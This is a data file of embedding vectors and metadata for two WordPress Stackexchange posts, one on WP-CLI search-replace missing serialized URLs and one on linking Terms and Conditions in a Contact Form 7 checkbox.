0.004894256591796875, 0.04412841796875, -0.051116943359375, -0.06658935546875, 0.0082855224609375, 0.0137939453125, -0.04095458984375, -0.054931640625, 0.005001068115234375, -0.0533447265625, 0.0092315673828125, 0.013763427734375, 0.0080108642578125, -0.00637054443359375, 0.00995635986328125, -0.0390625, -0.002132415771484375, 0.0109405517578125, -0.00206756591796875, -0.0028400421142578125, -0.0202484130859375, 0.048736572265625, 0.00084686279296875, 0.05572509765625, -0.00588226318359375, 0.054931640625, -0.01380157470703125, 0.042327880859375, 0.033599853515625, -0.01520538330078125, 0.054656982421875, 0.017303466796875, -0.01218414306640625, -0.01291656494140625, -0.05999755859375, -0.06268310546875, 0.0008602142333984375, 0.01319122314453125, -0.0323486328125, 0.024658203125 ]
8655681659f3d58b5e367a6689053238c67171f7
Wordpress Stackexchange Q: What could cause WP-CLI search-replace to not replace all instances of a string? We're migrating a site from dev to production using wp-cli to replace all occurrences in the database for the url, just like in the search-replace example. (http://example.dev to https://example.com) wp search-replace finds and replaces all occurrences that it reported finding. However, there are still many lingering in the database, especially in serialized data. But, WP-CLI says that it handles serialized data as well. If I run wp db search 'http://example.dev' --all-tables I get 20 more occurrences of the string. If I run wp search-replace with the --all-tables flag it still finds 0. What could be causing it to not find these lingering instances of the string, and how I can also get them to be included in search-replace?
Q: What could cause WP-CLI search-replace to not replace all instances of a string? We're migrating a site from dev to production using wp-cli to replace all occurrences in the database for the url, just like in the search-replace example. (http://example.dev to https://example.com) wp search-replace finds and replaces all occurrences that it reported finding. However, there are still many lingering in the database, especially in serialized data. But, WP-CLI says that it handles serialized data as well. If I run wp db search 'http://example.dev' --all-tables I get 20 more occurrences of the string. If I run wp search-replace with the --all-tables flag it still finds 0. What could be causing it to not find these lingering instances of the string, and how I can also get them to be included in search-replace?
wordpress
{ "language": "en", "length": 132, "provenance": "stackexchange_00019.jsonl.gz:486259", "question_score": "4", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/303801" }
[ 0.0258941650390625, -0.018890380859375, 0.00833892822265625, 0.0055999755859375, -0.007717132568359375, -0.03839111328125, 0.04705810546875, -0.0062408447265625, 0.047698974609375, 0.0149688720703125, -0.023040771484375, -0.01152801513671875, 0.003566741943359375, -0.03497314453125, -0.023406982421875, -0.031768798828125, -0.011444091796875, -0.01178741455078125, -0.024993896484375, -0.0543212890625, 0.0401611328125, -0.05364990234375, -0.0222930908203125, 0.0227508544921875, 0.039337158203125, -0.0548095703125, 0.039794921875, -0.005290985107421875, 0.015716552734375, -0.01023101806640625, 0.0172271728515625, 0.01195526123046875, 0.029937744140625, 0.00092315673828125, -0.0166778564453125, -0.0201263427734375, 0.0078582763671875, -0.0141754150390625, -0.007099151611328125, -0.0002722740173339844, 0.00821685791015625, -0.004241943359375, 0.08026123046875, 0.0101318359375, 0.02581787109375, -0.04046630859375, 0.056640625, -0.033599853515625, 0.007678985595703125, -0.0104522705078125, -0.040679931640625, 0.033294677734375, -0.0338134765625, -0.00666046142578125, 0.00499725341796875, -0.009521484375, -0.003173828125, 0.056976318359375, -0.001804351806640625, 0.0036945343017578125, -0.007427215576171875, 0.054779052734375, -0.0002244710922241211, 0.0144500732421875, -0.0114898681640625, -0.01407623291015625, -0.00267791748046875, -0.0013885498046875, -0.01361083984375, -0.01995849609375, 0.03094482421875, -0.01488494873046875, -0.011688232421875, -0.007289886474609375, -0.007434844970703125, -0.0115966796875, 0.0214385986328125, -0.0142974853515625, -0.0037021636962890625, 0.0293731689453125, 0.0643310546875, 0.005523681640625, 0.051116943359375, -0.003719329833984375, -0.002071380615234375, -0.0216522216796875, 0.004222869873046875, -0.01207733154296875, -0.01183319091796875, -0.041748046875, -0.026580810546875, -0.0244140625, -0.037017822265625, -0.0208587646484375, -0.0219573974609375, -0.041748046875, 0.0036220550537109375, 0.0170440673828125, -0.0219573974609375, 0.01122283935546875, 0.0265350341796875, -0.0290374755859375, 0.018310546875, -0.0242462158203125, 0.04595947265625, 0.048858642578125, -0.014739990234375, 0.0102996826171875, 0.0777587890625, 0.015716552734375, 0.027618408203125, 0.078125, -0.012115478515625, -0.0194854736328125, -0.03271484375, 0.00693511962890625, -0.03399658203125, -0.0016107559204101562, -0.0037593841552734375, -0.0231170654296875, 0.007568359375, 0.01934814453125, -0.049072265625, -0.015472412109375, -0.0204010009765625, -0.05511474609375, -0.013763427734375, 0.02532958984375, -0.054412841796875, 0.006195068359375, -0.00807952880859375, -0.007556915283203125, 0.03131103515625, 0.0584716796875, 0.00225067138671875, -0.01763916015625, 0.047271728515625, -0.01001739501953125, 0.00528717041015625, 0.033935546875, -0.019683837890625, -0.04864501953125, -0.00928497314453125, -0.0086669921875, 0.0799560546875, 0.01131439208984375, 0.015533447265625, 0.007843017578125, -0.00333404541015625, 0.0197296142578125, 0.0017910003662109375, 0.04290771484375, 0.0626220703125, 0.0001519918441772461, -0.0540771484375, -0.06231689453125, 0.032073974609375, -0.058441162109375, 0.004364013671875, -0.093994140625, -0.019561767578125, -0.020294189453125, 0.0167236328125, -0.011627197265625, -0.0193939208984375, 0.0171356201171875, -0.03411865234375, -0.006336212158203125, 0.026031494140625, 0.0302581787109375, 0.0055999755859375, 0.007740020751953125, 0.03131103515625, 0.0075836181640625, -0.0017366409301757812, 0.013946533203125, -0.021636962890625, 0.009918212890625, 0.0413818359375, 0.01119232177734375, -0.0173187255859375, -0.039031982421875, 0.053375244140625, -0.0207366943359375, -0.052734375, 0.049591064453125, -0.007472991943359375, 0.06689453125, 0.0384521484375, 0.00983428955078125, 0.026580810546875, -0.007266998291015625, -0.01313018798828125, 0.0294952392578125, -0.01446533203125, -0.0153045654296875, -0.033294677734375, 0.0226287841796875, -0.0270843505859375, -0.0020961761474609375, 0.02325439453125, 0.005615234375, -0.0140380859375, -0.01407623291015625, -0.08087158203125, 0.0172119140625, -0.0267333984375, 0.0248870849609375, -0.01543426513671875, 0.02593994140625, 0.01387786865234375, 0.03546142578125, -0.0421142578125, 0.0024433135986328125, 0.004955291748046875, 0.0025463104248046875, 0.00615692138671875, 0.0250701904296875, 0.0003571510314941406, 0.01123809814453125, -0.0102386474609375, -0.0089569091796875, -0.0269775390625, 0.0002353191375732422, 0.0006299018859863281, 0.01287841796875, -0.01464080810546875, 0.01534271240234375, 0.035491943359375, 0.0163421630859375, 0.046142578125, -0.0029010772705078125, 0.05706787109375, 0.04864501953125, -0.043243408203125, -0.0085906982421875, -0.0092010498046875, -0.023895263671875, 0.005779266357421875, 0.053802490234375, 0.03680419921875, 0.0399169921875, -0.0025787353515625, -0.05126953125, 0.030517578125, -0.03814697265625, 0.0179595947265625, -0.05328369140625, -0.01502227783203125, 0.058807373046875, 0.0101470947265625, -0.0015764236450195312, -0.0290374755859375, -0.08087158203125, -0.01800537109375, 0.03765869140625, 0.037353515625, 0.01605224609375, -0.040252685546875, 0.01523590087890625, 0.0084228515625, 0.00949859619140625, -0.035736083984375, 0.0192718505859375, -0.074462890625, 0.0182952880859375, -0.0264739990234375, -0.0179901123046875, -0.012420654296875, -0.0036869049072265625, 0.03729248046875, -0.005123138427734375, 0.0174560546875, -0.00853729248046875, -0.050537109375, 0.06585693359375, 0.01094818115234375, -0.004528045654296875, 0.0251007080078125, 0.016143798828125, 0.0189971923828125, 0.03717041015625, 0.02239990234375, -0.0260467529296875, 0.033203125, -0.0006160736083984375, 0.0004131793975830078, -0.023193359375, -0.02532958984375, 0.0021820068359375, 0.0141754150390625, 0.04034423828125, 0.0125579833984375, 0.0093841552734375, 0.004390716552734375, 0.0011568069458007812, 0.05377197265625, -0.006671905517578125, 0.01163482666015625, 0.0083160400390625, 0.0555419921875, 0.045562744140625, 0.0251312255859375, -0.026458740234375, -0.0286712646484375, 0.07330322265625, 0.0185546875, -0.047332763671875, -0.058349609375, 0.01531982421875, -0.08349609375, -0.0394287109375, 0.03179931640625, 0.058624267578125, -0.002376556396484375, -0.040924072265625, -0.002269744873046875, 0.044525146484375, -0.09912109375, -0.109375, -0.005901336669921875, 0.0276336669921875, -0.0631103515625, 0.01500701904296875, 0.0001996755599975586, 0.044586181640625, -0.00460052490234375, -0.0114593505859375, 0.06304931640625, -0.0170440673828125, -0.0176849365234375, -0.03948974609375, -0.09906005859375, -0.0841064453125, 0.010833740234375, 0.0109710693359375, 0.01690673828125, 0.0223846435546875, 0.01329803466796875, -0.0048675537109375, 0.044281005859375, 0.07415771484375, -0.00937652587890625, -0.00598907470703125, 0.02813720703125, -0.0625, 0.00824737548828125, -0.00644683837890625, 0.056732177734375, 0.03375244140625, -0.01468658447265625, 0.00435638427734375, 0.031951904296875, -0.021270751953125, 0.040283203125, 0.01023101806640625, -0.05291748046875, 0.0215606689453125, 0.045623779296875, -0.0321044921875, 0.025360107421875, 0.0184783935546875, 0.0158538818359375, 0.04205322265625, -0.021392822265625, -0.053955078125, 0.005657196044921875, 0.037841796875, 0.032073974609375, 0.0186309814453125, 0.0293121337890625, 0.0045928955078125, 0.0245513916015625, 0.0010461807250976562, 0.002834320068359375, -0.04315185546875, 0.05419921875, -0.0178680419921875, -0.038360595703125, 0.0238037109375, -0.01959228515625, 0.0246124267578125, -0.04705810546875, 0.01837158203125, -0.0142822265625, 0.01251220703125, -0.006683349609375, 0.053070068359375, -0.036102294921875, -0.008880615234375, -0.04388427734375, 0.0482177734375, -0.048431396484375, -0.028717041015625, 0.005580902099609375, 0.03997802734375, -0.006130218505859375, -0.08740234375, 0.0140380859375, -0.03936767578125, -0.07586669921875, -0.004688262939453125, -0.0033550262451171875, -0.0435791015625, 0.0270843505859375, -0.0361328125, -0.01346588134765625, -0.0421142578125, 0.04119873046875, -0.0390625, 0.04058837890625, -0.013580322265625, 0.047149658203125, -0.04107666015625, -0.01415252685546875, -0.02667236328125, -0.0509033203125, 0.007686614990234375, -0.049346923828125, 0.0292816162109375, 0.015106201171875, 0.01131439208984375, -0.0164031982421875, 0.0025959014892578125, 0.034149169921875, 0.031463623046875, -0.0029315948486328125, -0.0455322265625, 0.05023193359375, 0.031005859375, 0.0137786865234375, 0.01715087890625, -0.0267791748046875, -0.01470184326171875, -0.014739990234375, 0.01123809814453125, -0.0011129379272460938, -0.0145263671875, 0.01511383056640625, -0.018890380859375, -0.01467132568359375, -0.0418701171875, -0.031707763671875, -0.00782012939453125, -0.01366424560546875, -0.01015472412109375, -0.047393798828125, -0.0002968311309814453, 0.0587158203125, 0.0194549560546875, 0.0034160614013671875, -0.0096435546875, 0.0286712646484375, 0.00940704345703125, -0.052703857421875, 0.038787841796875, -0.0207977294921875, -0.005767822265625, 0.03045654296875, 0.00637054443359375, -0.021453857421875, 0.0019779205322265625, -0.0208587646484375, -0.0122833251953125, 0.01316070556640625, 0.012054443359375, 0.016998291015625, 0.024169921875, -0.017303466796875, -0.0032787322998046875, 0.0169219970703125, -0.0266876220703125, 0.0168304443359375, 0.00970458984375, -0.036529541015625, 0.039154052734375, 0.04400634765625, -0.016998291015625, 0.0008974075317382812, -0.0257110595703125, -0.0232086181640625, 0.00695037841796875, -0.044281005859375, 0.0615234375, 0.031646728515625, -0.0103607177734375, 0.03924560546875, 0.0233917236328125, 0.00156402587890625, -0.0215606689453125, 0.03131103515625, -0.047760009765625, 0.03509521484375, -0.0245361328125, -0.04156494140625, -0.0230255126953125, -0.0220947265625, 0.057464599609375, -0.0176849365234375, -0.05816650390625, 0.0281829833984375, -0.01806640625, -0.036376953125, 0.03765869140625, 0.0499267578125, -0.00275421142578125, -0.004657745361328125, 0.01023101806640625, -0.01129913330078125, 0.041412353515625, 0.01129913330078125, -0.007099151611328125, -0.004199981689453125, 0.0104522705078125, -0.0187225341796875, 0.008544921875, 0.01329803466796875, -0.032470703125, 0.005764007568359375, 0.0157470703125, 0.0165863037109375, -0.029022216796875, 0.0352783203125, -0.00954437255859375, -0.0024318695068359375, 0.01702880859375, 0.018280029296875, 0.024688720703125, -0.02203369140625, 0.01448822021484375, 0.038970947265625, 0.0157470703125, 0.0221099853515625, 0.0011911392211914062, 0.006011962890625, -0.011077880859375, 0.0012531280517578125, 0.042236328125, 0.00527191162109375, -0.009735107421875, -0.044677734375, 0.0005097389221191406, 0.08074951171875, -0.00414276123046875, -0.0050201416015625, 0.0046234130859375, -0.01168060302734375, -0.0106201171875, 0.0279541015625, -0.0177764892578125, -0.02313232421875, -0.0211639404296875, -0.026611328125, -0.0307464599609375, -0.013031005859375, 0.042205810546875, -0.0062103271484375, -0.00350189208984375, -0.0165863037109375, 0.04345703125, -0.0299530029296875, 0.0059051513671875, 0.01024627685546875, -0.0021514892578125, -0.0163116455078125, 0.031005859375, 0.00904083251953125, 0.0206298828125, -0.06463623046875, -0.01531219482421875, -0.03948974609375, 0.003330230712890625, 0.0212860107421875, -0.021453857421875, -0.02056884765625, -0.0238800048828125, 0.048004150390625, 0.0273895263671875, 0.035858154296875, -0.0282745361328125, -0.01221466064453125, -0.0002803802490234375, 0.0369873046875, 0.0282440185546875, -0.0150909423828125, -0.037078857421875, -0.004024505615234375, -0.061553955078125, -0.045501708984375, -0.0093994140625, 0.07318115234375, -0.0035114288330078125, -0.00463104248046875, -0.0210723876953125, -0.004055023193359375, -0.031402587890625, 0.0167999267578125, 0.037872314453125, 0.07574462890625, 0.00563812255859375, 0.01200103759765625, -0.0159454345703125, 0.0018520355224609375, -0.0272979736328125, 0.056121826171875, -0.0273895263671875, 0.03375244140625, -0.021820068359375, 0.004947662353515625, 0.00447845458984375, 0.0152740478515625, 0.0006480216979980469, -0.01751708984375, 0.0264892578125, -0.0285797119140625, -0.01061248779296875, -0.004871368408203125, 0.004901885986328125, 0.0211334228515625, 0.0167999267578125, 0.0186614990234375, -0.0033702850341796875, 0.0182647705078125, 0.002410888671875, -0.037841796875, 0.01239013671875, 0.04217529296875, 0.046844482421875, -0.02008056640625, 0.01045989990234375, 0.0132904052734375, -0.0224761962890625, -0.01342010498046875, 0.05523681640625, 0.0222625732421875, -0.0911865234375, -0.004108428955078125, 0.0006456375122070312, -0.01091766357421875, -0.019317626953125, 0.034942626953125, -0.0273590087890625, -0.019805908203125, -0.0704345703125, 0.0158538818359375, -0.02880859375, -0.0285491943359375, 0.044158935546875, -0.035400390625, -0.0277099609375, -0.01129913330078125, 0.01236724853515625, 0.03289794921875, 0.01009368896484375, -0.0188446044921875, 0.005889892578125, -0.0021381378173828125, -0.0063629150390625, 0.01233673095703125, -0.0299072265625, -0.068603515625, -0.0029544830322265625, -0.044677734375, -0.0157928466796875, 0.0029888153076171875, 0.044677734375, 0.0145721435546875, 0.031494140625, 0.00716400146484375, -0.02374267578125, 0.0259552001953125, -0.032958984375, 0.020843505859375, 0.00698089599609375, -0.005382537841796875, 0.062744140625, -0.040985107421875, -0.00518798828125, -0.03802490234375, 0.0791015625, -0.011077880859375, -0.022430419921875, 0.088623046875, -0.043792724609375, -0.0148162841796875, 0.00870513916015625, -0.004154205322265625, 0.006862640380859375, 0.002674102783203125, -0.01251983642578125, -0.039947509765625, -0.041473388671875, -0.01824951171875, -0.05877685546875, 0.02288818359375, 0.0004658699035644531, -0.033294677734375, 0.06304931640625, 0.0276336669921875, 0.007049560546875, 0.041259765625, 0.0189666748046875, -0.03717041015625, 0.00914764404296875, -0.042877197265625, 0.0499267578125, -0.039642333984375, 0.0347900390625, -0.0287933349609375, 0.012908935546875, 0.0218658447265625, 0.004730224609375, 0.025360107421875, 0.005130767822265625, -0.01511383056640625, 0.00848388671875, 0.01052093505859375, -0.03424072265625, -0.0462646484375, 0.067626953125, 0.006488800048828125, 0.0660400390625, 0.0285491943359375, -0.072265625, 0.01142120361328125, -0.022979736328125, -0.00559234619140625, 0.029998779296875, 0.026092529296875, 0.06756591796875, 0.007045745849609375, -0.0017261505126953125, 0.0037689208984375, -0.00818634033203125, 0.0212554931640625, -0.059967041015625, 0.007534027099609375, 0.004138946533203125, -0.01552581787109375, -0.06304931640625, -0.0535888671875, -0.0268096923828125, 0.014678955078125, -0.006015777587890625, 0.0242462158203125, 0.0014629364013671875, -0.0030918121337890625, 0.05120849609375, -0.00799560546875, 0.0035495758056640625, 0.00516510009765625, 0.0074005126953125, 0.03582763671875, 0.04150390625, 0.02880859375, 0.004169464111328125, 0.0229949951171875, 0.038543701171875, 0.03631591796875, -0.043609619140625, -0.0963134765625, 0.01117706298828125, 0.013275146484375, 0.007312774658203125, 0.03399658203125, -0.01959228515625, -0.04681396484375, 0.07684326171875, 0.00737762451171875, -0.0032634735107421875, -0.00232696533203125, -0.01395416259765625, 0.00411224365234375, 0.0277099609375, -0.00045418739318847656, 0.01312255859375, -0.04852294921875, 0.003936767578125, 0.027069091796875, 0.0692138671875, 0.0222930908203125, 0.03619384765625, -0.0005002021789550781, -0.043975830078125, -0.01389312744140625, -0.006134033203125, -0.02392578125, 0.041107177734375, -0.03033447265625, 0.00457763671875, 0.007335662841796875, 0.0421142578125, 0.017303466796875, 0.046142578125, 0.036376953125, 0.020294189453125, -0.0180511474609375, 0.00946044921875, 0.0736083984375, -0.01776123046875, -0.00661468505859375, 0.0014944076538085938, 0.0212554931640625, 0.0185089111328125, 0.0015277862548828125, -0.01541900634765625, 0.0635986328125, 0.0048828125, 0.031951904296875, 0.00859832763671875, 0.0201416015625, -0.029052734375, 0.0126953125, 0.01995849609375, 0.04949951171875, 0.061492919921875, -0.017059326171875, -0.00977325439453125, -0.007427215576171875, -0.0018033981323242188, 0.0127716064453125, 0.03656005859375, 0.0107421875, 0.0109100341796875, 0.0003457069396972656, -0.005596160888671875, -0.03204345703125, 0.026153564453125, 0.006427764892578125, -0.016326904296875, 0.0219573974609375, 0.005176544189453125, -0.0028553009033203125, 0.00428009033203125, 0.01410675048828125, 0.01203155517578125, -0.0423583984375, 0.0982666015625, -0.038970947265625, -0.017974853515625, -0.0117340087890625, 0.0001214742660522461, 0.0060272216796875, 0.0089263916015625, -0.035858154296875, 0.0088653564453125, 0.019287109375, -0.0193634033203125, -0.0296630859375, 0.01293182373046875, 0.049072265625, -0.0472412109375, 0.056304931640625, -0.015716552734375, 0.00007790327072143555, -0.07208251953125, -0.01203155517578125, -0.036865234375, -0.006900787353515625, -0.0115509033203125, -0.022369384765625, 0.0183563232421875, -0.005168914794921875, 0.009765625, 0.00785064697265625, 0.03265380859375, -0.0230712890625, 0.00395965576171875, -0.0274810791015625, 0.029815673828125, 0.0296630859375, 0.0263671875, 0.017303466796875, -0.0285797119140625, -0.0309295654296875, 0.006084442138671875, -0.007328033447265625, 0.0017957687377929688, -0.0269317626953125, 0.01462554931640625, -0.04486083984375, -0.0204315185546875, 0.0256500244140625, 0.01277923583984375, 0.0222015380859375, -0.059173583984375, -0.00113677978515625, -0.0019969940185546875, -0.0108795166015625, -0.0144195556640625, -0.004489898681640625, -0.0216522216796875, -0.01168060302734375, -0.0013265609741210938, -0.07147216796875, -0.003841400146484375, -0.0221405029296875, 0.01361083984375, 0.0019044876098632812, -0.0260467529296875, 0.032867431640625, -0.027435302734375, -0.0462646484375, -0.0186767578125, -0.0160980224609375, 0.01019287109375, 0.00890350341796875, -0.02789306640625, -0.026763916015625, -0.041778564453125, 0.01374053955078125, -0.037750244140625, -0.007701873779296875, 0.04156494140625, 0.024505615234375, -0.027069091796875, -0.04119873046875, -0.04071044921875, 0.0221710205078125, -0.07232666015625, -0.0303955078125, -0.01314544677734375, 0.01509857177734375, -0.01325225830078125, -0.046783447265625, 0.026153564453125, -0.06268310546875, 0.027679443359375, 0.0095977783203125, -0.00928497314453125, 0.01033782958984375, -0.03253173828125, -0.0965576171875, 0.06658935546875, -0.0140838623046875, -0.0289459228515625, -0.031951904296875, -0.06060791015625, -0.0090484619140625, 0.0213775634765625, -0.00826263427734375, 0.0019893646240234375, -0.06927490234375, 0.039825439453125, -0.003063201904296875, 0.025238037109375, 0.0194091796875, -0.03424072265625, -0.01302337646484375, 0.0136260986328125, 0.0149993896484375, 0.028076171875, 0.0103302001953125, 0.0101470947265625, 0.009765625, 0.0521240234375, -0.0019664764404296875, -0.0059814453125, -0.0095062255859375, -0.083251953125, -0.0208892822265625, 0.01141357421875, -0.039031982421875, -0.0033054351806640625, 0.08612060546875, 0.0511474609375, 0.0213470458984375, -0.03204345703125, 0.005054473876953125, 0.03424072265625, 0.06561279296875, 0.01424407958984375, -0.0296630859375, 0.001247406005859375, -0.02142333984375, -0.015838623046875, 0.02801513671875, -0.01263427734375, -0.01611328125, 0.0095062255859375, -0.02154541015625, 0.0224761962890625, 0.0129241943359375, -0.03289794921875, -0.006381988525390625, 0.07257080078125, -0.050750732421875, -0.015472412109375, 0.006649017333984375, 0.01824951171875, 0.0237274169921875, -0.0396728515625, 0.000732421875, -0.0294952392578125, 0.0277557373046875, 0.03192138671875, 0.015716552734375, 0.0015916824340820312, -0.002811431884765625, -0.022491455078125, -0.0153045654296875, 0.0193939208984375, -0.0094451904296875, 0.005458831787109375, 0.00858306884765625, -0.0104522705078125, 0.0019245147705078125, 0.039093017578125, -0.017730712890625, 0.01218414306640625, -0.043121337890625, 0.060394287109375, -0.01702880859375, -0.017120361328125, 0.006839752197265625, 0.0183868408203125, -0.00441741943359375, 0.02362060546875, -0.047454833984375, -0.02777099609375, -0.002044677734375, 0.034393310546875, -0.01163482666015625, -0.0008859634399414062 ]
aa4e095a8f064125a465bed10ac081d88537af20
Wordpress Stackexchange Q: Adding a hyperlink to the checkbox in the contact form 7 I have added a required checkbox field to contact form 7 to fill before form submission. But I need to give link "Terms and Condition" to the page. I searched and tried in many ways, but i cannot find the correct way. If someone can help me I really appreciate it. Thanks in advance This is the checkbox field I already added [checkbox* term_and_conditions class:required "I can confirm I have read and accepted the Terms and Conditions."] A: It should work like said in my comment but maybe an even better way would be to use the acceptance filed-type that is build especially for that kind of checkboxes. [acceptance term_and_conditions class:required] I can confirm I have read and accepted the <a href="http://www.your-domain.com/terms-page">Terms and Conditions</a>.[/acceptance] In the contact form 7 edit page go to the tab additional settings and add: acceptance_as_validation: on
Q: Adding a hyperlink to the checkbox in the contact form 7 I have added a required checkbox field to contact form 7 to fill before form submission. But I need to give link "Terms and Condition" to the page. I searched and tried in many ways, but i cannot find the correct way. If someone can help me I really appreciate it. Thanks in advance This is the checkbox field I already added [checkbox* term_and_conditions class:required "I can confirm I have read and accepted the Terms and Conditions."] A: It should work like said in my comment but maybe an even better way would be to use the acceptance filed-type that is build especially for that kind of checkboxes. [acceptance term_and_conditions class:required] I can confirm I have read and accepted the <a href="http://www.your-domain.com/terms-page">Terms and Conditions</a>.[/acceptance] In the contact form 7 edit page go to the tab additional settings and add: acceptance_as_validation: on
wordpress
{ "language": "en", "length": 153, "provenance": "stackexchange_00019.jsonl.gz:486274", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/303849" }
[ 0.0966796875, 0.00788116455078125, -0.00447845458984375, -0.08758544921875, 0.020965576171875, -0.02435302734375, -0.0229034423828125, -0.01079559326171875, 0.0214385986328125, -0.00020992755889892578, -0.0394287109375, -0.0007238388061523438, -0.0014743804931640625, -0.033660888671875, 0.0051727294921875, -0.0292510986328125, -0.017578125, 0.040069580078125, 0.03271484375, -0.01128387451171875, 0.004772186279296875, -0.0231475830078125, 0.01409149169921875, -0.02874755859375, -0.0017690658569335938, 0.01441192626953125, 0.04437255859375, -0.0195465087890625, -0.0093841552734375, -0.0193634033203125, 0.010101318359375, -0.004741668701171875, 0.061187744140625, -0.0011157989501953125, -0.064208984375, 0.005405426025390625, -0.01580810546875, -0.02239990234375, -0.06964111328125, 0.07086181640625, 0.0285186767578125, -0.004909515380859375, -0.004058837890625, 0.03936767578125, -0.0268402099609375, -0.07147216796875, 0.03900146484375, -0.02490234375, 0.0071258544921875, -0.0092620849609375, 0.01425933837890625, 0.006816864013671875, 0.028656005859375, -0.028411865234375, -0.00884246826171875, 0.0007152557373046875, -0.010345458984375, -0.005382537841796875, 0.023529052734375, 0.03570556640625, 0.00542449951171875, -0.005840301513671875, -0.01061248779296875, -0.044281005859375, 0.004718780517578125, 0.005771636962890625, -0.018524169921875, 0.014434814453125, -0.00977325439453125, 0.005794525146484375, 0.01158905029296875, -0.036224365234375, -0.00036263465881347656, 0.0037631988525390625, -0.0054931640625, 0.0111083984375, 0.01522064208984375, 0.0252227783203125, 0.0096588134765625, 0.0211181640625, 0.00044274330139160156, -0.002452850341796875, -0.0014104843139648438, 0.01430511474609375, 0.0240631103515625, 0.043426513671875, -0.024322509765625, -0.0269927978515625, -0.01151275634765625, -0.05316162109375, -0.0087432861328125, -0.0002994537353515625, -0.04425048828125, -0.037139892578125, -0.023223876953125, -0.06561279296875, 0.00321197509765625, 0.03497314453125, 0.0292205810546875, 0.0328369140625, -0.0257415771484375, -0.0195770263671875, -0.006931304931640625, -0.03033447265625, -0.01468658447265625, 0.058380126953125, -0.007171630859375, 0.054840087890625, 0.031890869140625, 0.026824951171875, 0.0243072509765625, -0.02264404296875, -0.0244903564453125, 0.031402587890625, -0.0572509765625, -0.033782958984375, -0.05853271484375, -0.003437042236328125, -0.038848876953125, 0.01340484619140625, 0.01329803466796875, 0.024749755859375, 0.00893402099609375, 0.0053863525390625, -0.024444580078125, -0.021331787109375, -0.0122833251953125, -0.033355712890625, 0.004058837890625, -0.0187530517578125, -0.0274658203125, 0.0257110595703125, 0.0596923828125, 0.044708251953125, 0.029296875, -0.00720977783203125, -0.011932373046875, -0.00797271728515625, 0.005390167236328125, 0.010040283203125, -0.00601959228515625, -0.029449462890625, 0.0293426513671875, 0.0165252685546875, -0.01129150390625, 0.0751953125, 0.0212860107421875, -0.0379638671875, -0.04864501953125, -0.05462646484375, -0.006282806396484375, -0.04962158203125, 0.06317138671875, -0.003612518310546875, -0.0643310546875, -0.013702392578125, -0.01258087158203125, -0.029327392578125, -0.0194854736328125, -0.052947998046875, 0.0400390625, 0.0201416015625, 0.0290069580078125, -0.038482666015625, -0.02508544921875, -0.0535888671875, -0.07672119140625, -0.006259918212890625, 0.00899505615234375, 0.00023233890533447266, 0.0021419525146484375, -0.047454833984375, -0.06304931640625, -0.005863189697265625, 0.0123291015625, 0.01861572265625, 0.05157470703125, 0.03204345703125, -0.004817962646484375, 0.0469970703125, -0.006053924560546875, -0.0391845703125, 0.0865478515625, -0.0682373046875, -0.0496826171875, 0.0723876953125, -0.00637054443359375, 0.015533447265625, 0.00713348388671875, -0.01910400390625, 0.0452880859375, 0.07666015625, 0.043426513671875, 0.029296875, -0.0487060546875, -0.034423828125, -0.014068603515625, 0.053955078125, -0.054901123046875, -0.010040283203125, -0.002719879150390625, -0.052459716796875, 0.033203125, -0.003948211669921875, 0.0257110595703125, -0.029327392578125, -0.01702880859375, 0.0013494491577148438, -0.0095062255859375, 0.03228759765625, 0.0175323486328125, 0.0117950439453125, -0.0208587646484375, -0.0310211181640625, 0.0087127685546875, 0.008575439453125, 0.002643585205078125, 0.031402587890625, 0.01390838623046875, 0.02130126953125, 0.0189666748046875, -0.01024627685546875, 0.01218414306640625, 0.0085601806640625, -0.0245361328125, -0.0192413330078125, -0.0298919677734375, -0.02093505859375, -0.057373046875, -0.0018177032470703125, -0.004314422607421875, 0.0616455078125, 0.0199127197265625, 0.01396942138671875, -0.0197601318359375, 0.0125274658203125, 0.01776123046875, -0.0304107666015625, -0.0084991455078125, 0.02679443359375, 0.0262603759765625, 0.014556884765625, -0.01253509521484375, 0.0116424560546875, 0.04248046875, -0.042510986328125, -0.0109405517578125, 0.0157012939453125, 0.0094146728515625, 0.023681640625, -0.01474761962890625, -0.01169586181640625, 0.0258941650390625, -0.00018453598022460938, -0.0187225341796875, 0.0138092041015625, -0.02935791015625, -0.04248046875, 0.01708984375, -0.027191162109375, 0.0229034423828125, -0.01039886474609375, -0.03997802734375, 0.003997802734375, -0.0070648193359375, -0.0003337860107421875, 0.0069122314453125, 0.00028228759765625, 0.00948333740234375, -0.00835418701171875, 0.016632080078125, -0.046051025390625, -0.00830078125, 0.0038928985595703125, 0.04736328125, 0.0399169921875, -0.052978515625, -0.0102996826171875, 0.039794921875, 0.02130126953125, -0.0037689208984375, 0.0013532638549804688, 0.035003662109375, 0.0102081298828125, -0.0134124755859375, -0.049591064453125, 0.044281005859375, 0.033294677734375, 0.052581787109375, -0.0142364501953125, 0.03033447265625, -0.0307769775390625, -0.0299530029296875, 0.06427001953125, -0.02337646484375, -0.06829833984375, -0.0031299591064453125, 0.0026912689208984375, 0.0430908203125, -0.04852294921875, -0.0081787109375, 0.035369873046875, -0.055816650390625, 0.030548095703125, -0.006622314453125, 0.019195556640625, -0.028900146484375, 0.02227783203125, 0.0030727386474609375, -0.0204010009765625, -0.003940582275390625, 0.01439666748046875, 0.01617431640625, -0.0196075439453125, 0.01450347900390625, -0.0019359588623046875, -0.01160430908203125, -0.0013675689697265625, -0.039764404296875, -0.040252685546875, -0.0312042236328125, -0.016510009765625, 0.00418853759765625, 0.062255859375, -0.0027313232421875, -0.017425537109375, 0.0850830078125, 0.00823211669921875, -0.04180908203125, -0.008392333984375, -0.0714111328125, -0.046234130859375, -0.061279296875, 0.03692626953125, -0.0186309814453125, 0.0200653076171875, -0.003253936767578125, 0.00737762451171875, -0.0282440185546875, -0.045196533203125, -0.033294677734375, -0.01788330078125, 0.01465606689453125, -0.0225067138671875, -0.0662841796875, 0.0136566162109375, -0.01873779296875, -0.004055023193359375, -0.0228118896484375, -0.023773193359375, 0.0244293212890625, 0.006694793701171875, -0.0225372314453125, -0.009490966796875, 0.0043792724609375, 0.0007038116455078125, 0.0177001953125, 0.01261138916015625, 0.0379638671875, -0.0268402099609375, 0.0278167724609375, 0.00527191162109375, 0.00933074951171875, -0.04510498046875, -0.051055908203125, -0.01224517822265625, -0.01451873779296875, 0.01284027099609375, -0.00489044189453125, 0.007598876953125, 0.06744384765625, 